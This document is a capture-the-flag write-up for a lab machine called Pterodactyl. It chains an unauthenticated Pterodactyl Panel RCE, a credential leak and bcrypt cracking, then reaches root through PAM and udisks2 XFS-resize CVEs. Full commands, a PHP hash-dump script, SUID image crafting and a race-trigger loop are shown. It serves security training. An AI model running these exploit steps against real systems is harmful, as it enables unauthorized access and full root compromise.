Machine Info
- Name: Pterodactyl
- IP: 10.129.14.83
- OS: Linux (openSUSE Leap 15)
- Difficulty: Medium
- Key Skills: CVE-2025-49132 (Pterodactyl Panel RCE), PHP PEAR pearcmd.php Abuse, MySQL Credential Extraction, Bcrypt Hash Cracking, CVE-2025-6018 (PAM pam_env Polkit Bypass), CVE-2025-6019 (libblockdev/udisks2 XFS Resize Race Condition)
Summary
Pterodactyl is a Linux machine running openSUSE Leap 15 with a Pterodactyl Panel game server management interface behind nginx. The main page at pterodactyl.htb shows a Minecraft server landing page, while panel.pterodactyl.htb hosts the vulnerable admin panel. CVE-2025-49132 exploits a path traversal in the /locales/locale.json endpoint to invoke PHP PEAR’s pearcmd.php, writing a PHP webshell that executes as wwwrun. The panel’s database credentials (pterodactyl:PteraPanel) are leaked via the same path traversal, and a custom PHP script dumps bcrypt password hashes from the users table. Cracking the hash for phileasfogg3 yields SSH access. Privilege escalation chains two CVEs: CVE-2025-6018 abuses SUSE’s pam_env module with user_readenv=1 to fake a local console session via ~/.pam_environment, gaining allow_active polkit status. CVE-2025-6019 exploits libblockdev’s failure to apply nosuid during udisks2 filesystem resize operations - a malicious XFS image containing a SUID-root bash binary is temporarily mounted without nosuid, allowing execution as root.
Attack Chain:
Subdomain enum -> CVE-2025-49132 (PEAR RCE as wwwrun) -> DB creds leak -> bcrypt crack -> SSH as phileasfogg3 -> CVE-2025-6018 (PAM allow_active) -> CVE-2025-6019 (udisks2 XFS race) -> root
Reconnaissance
Port Scan
nmap -sC -sV -Pn --min-rate 1000 10.129.14.83
Key open ports:
| Port | Service | Details |
|---|---|---|
| 22 | SSH | OpenSSH 9.6 |
| 80 | HTTP | nginx 1.21.5 - “My Minecraft Server” |
The main page at pterodactyl.htb shows a Minecraft community landing page called “MonitorLand” with a server address of play.pterodactyl.htb.
Subdomain Enumeration
Fuzzing the Host header reveals a hidden subdomain:
curl -sk -H "Host: panel.pterodactyl.htb" http://10.129.14.83/ | head -5
<title>Pterodactyl</title>
<meta name="csrf-token" content="...">
panel.pterodactyl.htb hosts the Pterodactyl Panel (v1.11.10).
Initial Access - CVE-2025-49132
Vulnerability Overview
Pterodactyl Panel versions up to 1.11.10 have an unauthenticated RCE vulnerability (CVSS 10.0) in the /locales/locale.json endpoint. The locale and namespace parameters are passed directly to Laravel’s translation loader without validation, enabling path traversal to include arbitrary PHP files.
Exploiting via PEAR pearcmd.php
The exploit chains path traversal with PHP PEAR’s pearcmd.php to achieve arbitrary file creation with embedded PHP code. A public PoC handles the nuances of special character handling:
git clone https://github.com/rippsec/CVE-2025-49132-PHP-PEAR.git
cd CVE-2025-49132-PHP-PEAR
Step 1: Confirm RCE
python3 poc.py -H panel.pterodactyl.htb -c "id"
uid=474(wwwrun) gid=477(www) groups=477(www)
The PoC uses ${IFS} to replace spaces in commands (since + in URLs becomes spaces and breaks PEAR’s argument parser) and http.client for raw HTTP requests to avoid URL encoding of PHP tags.
Step 2: Scan for leaked credentials
python3 poc.py -H panel.pterodactyl.htb --scan
[+] VULNERABLE - Database credentials leaked
Host: 127.0.0.1
Port: 3306
Database: panel
Username: pterodactyl
Password: PteraPanel
[+] VULNERABLE - App configuration leaked
App Key: base64:UaThTPQnUjrrK61o+Luk7P9o4hM+gl4UiMJqcbTSThY=
User Flag
python3 poc.py -H panel.pterodactyl.htb -c "cat /home/*/user.txt"
15c036c9aa9a4b960d24291b8e822fe3
Database Enumeration and SSH Access
Extracting Password Hashes
Direct MySQL commands fail through the webshell because single quotes conflict with the PHP system() wrapper. The solution is to write a PHP database dump script using base64:
# Encode the PHP DB query script
echo -n '<?php $c=new PDO("mysql:host=127.0.0.1;dbname=panel","pterodactyl","PteraPanel");$r=$c->query("SELECT username,email,password FROM users");while($row=$r->fetch()){echo implode(":",$row)."\n";}?>' | base64
# Write and execute the script on the target
python3 poc.py -H panel.pterodactyl.htb -c "echo <base64>|base64 -d>/tmp/db.php"
python3 poc.py -H panel.pterodactyl.htb -c "php /tmp/db.php"
headmonitor:[email protected]:$2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5gD2
phileasfogg3:[email protected]:$2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi
Cracking Bcrypt Hashes
echo 'phileasfogg3:$2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi' > hashes.txt
john --wordlist=rockyou.txt hashes.txt
phileasfogg3:!QAZ2wsx
SSH Login
ssh [email protected]
# Password: !QAZ2wsx
phileasfogg3@pterodactyl:~> id
uid=1002(phileasfogg3) gid=100(users) groups=100(users)
Privilege Escalation - CVE-2025-6018 + CVE-2025-6019 Chain
CVE-2025-6018: PAM pam_env Polkit Bypass
openSUSE Leap 15 ships with user_readenv=1 enabled in PAM’s pam_env module, meaning PAM reads ~/.pam_environment on login. By injecting fake seat/VT variables, a remote SSH user tricks systemd-logind into treating the session as a local console session, granting allow_active polkit privileges.
Step 1: Write the PAM environment file
echo -e 'XDG_SEAT=seat0\nXDG_VTNR=1' > ~/.pam_environment
Step 2: Re-login via SSH to trigger PAM
exit
ssh [email protected]
Step 3: Verify active session
echo $XDG_SEAT $XDG_VTNR
loginctl show-session $(loginctl | grep phileasfogg3 | awk '{print $1}') -p Active
seat0 1
Active=yes
CVE-2025-6019: libblockdev/udisks2 XFS Resize Race Condition
With allow_active polkit status, the user can invoke udisks2 D-Bus methods. The Filesystem.Resize operation calls libblockdev’s bd_fs_xfs_resize(), which temporarily mounts the filesystem to run xfs_growfs - but critically without the nosuid flag. This creates a race window where a SUID binary on the filesystem is executable as root.
Step 1: Create XFS image with writable root directory
dd if=/dev/zero of=/tmp/evil.img bs=1M count=301
/sbin/mkfs.xfs -f /tmp/evil.img
# Make root dir world-writable via xfs_db
/usr/sbin/xfs_db -x -c 'inode 128' -c 'write core.mode 040777' /tmp/evil.img
Step 2: Mount, copy bash, unmount
udisksctl loop-setup -f /tmp/evil.img
udisksctl mount -b /dev/loop0
cp /usr/bin/bash /run/media/phileasfogg3/<uuid>/xpl
udisksctl unmount -b /dev/loop0
udisksctl loop-delete -b /dev/loop0
Step 3: Set SUID root on the binary via xfs_db
Since we cannot set SUID as a normal user, we modify the XFS inode metadata directly:
# Find the xpl binary's inode and change owner to root with SUID
/usr/sbin/xfs_db -x /tmp/evil.img \
-c 'inode 131' \
-c 'write core.uid 0' \
-c 'write core.gid 0' \
-c 'write core.mode 0104755'
Step 4: Trigger the race condition
# Set up loop device
udisksctl loop-setup -f /tmp/evil.img
# Background watcher - executes SUID binary when mount appears
while true; do
for d in /tmp/blockdev.*; do
if [ -x "$d/xpl" ]; then
"$d/xpl" -p -c 'id; cat /root/root.txt'
exit
fi
done
done &
# Trigger Resize via D-Bus (mounts without nosuid)
gdbus call --system \
--dest org.freedesktop.UDisks2 \
--object-path /org/freedesktop/UDisks2/block_devices/loop0 \
--method org.freedesktop.UDisks2.Filesystem.Resize 0 '@a{sv} {}'
FOUND: /tmp/blockdev.81FSM3/xpl
uid=1002(phileasfogg3) gid=100(users) euid=0(root) groups=100(users)
2f92631e2817cded1a54d22b1385531d
Root shell achieved via euid=0(root).
Lessons Learned
- Pterodactyl Panel’s locale endpoint was a critical RCE vector - CVE-2025-49132 allowed unauthenticated code execution through unsanitized path traversal in the translation loader. Always validate and restrict user input to expected patterns.
- PHP PEAR’s pearcmd.php is a powerful post-exploitation primitive - When reachable via LFI/path traversal, it enables arbitrary file creation with embedded PHP code, turning file inclusion into RCE.
- Database credentials in web app configs enable lateral movement - The leaked MySQL credentials allowed extracting bcrypt hashes from the Pterodactyl user table, which led to SSH access after cracking.
- SUSE’s pam_env user_readenv=1 default is dangerous - CVE-2025-6018 exploits this to fake local session variables over SSH, gaining polkit privileges meant for physically present users.
- xfs_db enables offline SUID injection - Without root, we modified XFS inode metadata directly on the image file to set uid=0, gid=0, and the SUID bit on a bash binary.
- libblockdev’s missing nosuid during temporary mounts is fatal - CVE-2025-6019 shows that even brief mount windows without proper flags create exploitable race conditions, especially when combined with polkit access.
